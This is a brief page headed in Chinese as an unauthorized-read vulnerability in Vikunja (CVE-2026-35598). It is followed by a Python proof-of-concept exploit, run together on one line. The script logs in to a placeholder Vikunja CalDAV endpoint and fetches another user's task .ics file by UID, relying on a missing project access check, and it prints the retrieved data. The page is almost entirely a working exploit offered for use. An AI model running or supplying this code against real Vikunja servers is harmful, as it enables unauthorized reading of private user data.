CVE-2026-35598 Vikunja越权读取漏洞

import requests from requests.auth import HTTPBasicAuth # Target configuration TARGET_URL = "https://vikunja.example.com/dav/calendars/user/" USERNAME = "[email protected]" PASSWORD = "password" TASK_UID = "target-task-uid-12345" # The UID of the task the attacker wants to read # Exploit code to fetch a task by UID without project access check # Note: This simulates the CalDAV GET request def exploit(): # Authenticate with the CalDAV endpoint auth = HTTPBasicAuth(USERNAME, PASSWORD) # Construct the URL to fetch the specific task resource by UID # In a real scenario, the exact path might vary based on Vikunja's CalDAV routing exploit_url = f"{TARGET_URL}{TASK_UID}.ics" try: print(f"[*] Attempting to fetch task with UID: {TASK_UID}") response = requests.get(exploit_url, auth=auth) if response.status_code == 200: print("[+] Exploit successful! Task data retrieved:") print(response.text) else: print(f"[-] Failed to retrieve task. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": exploit()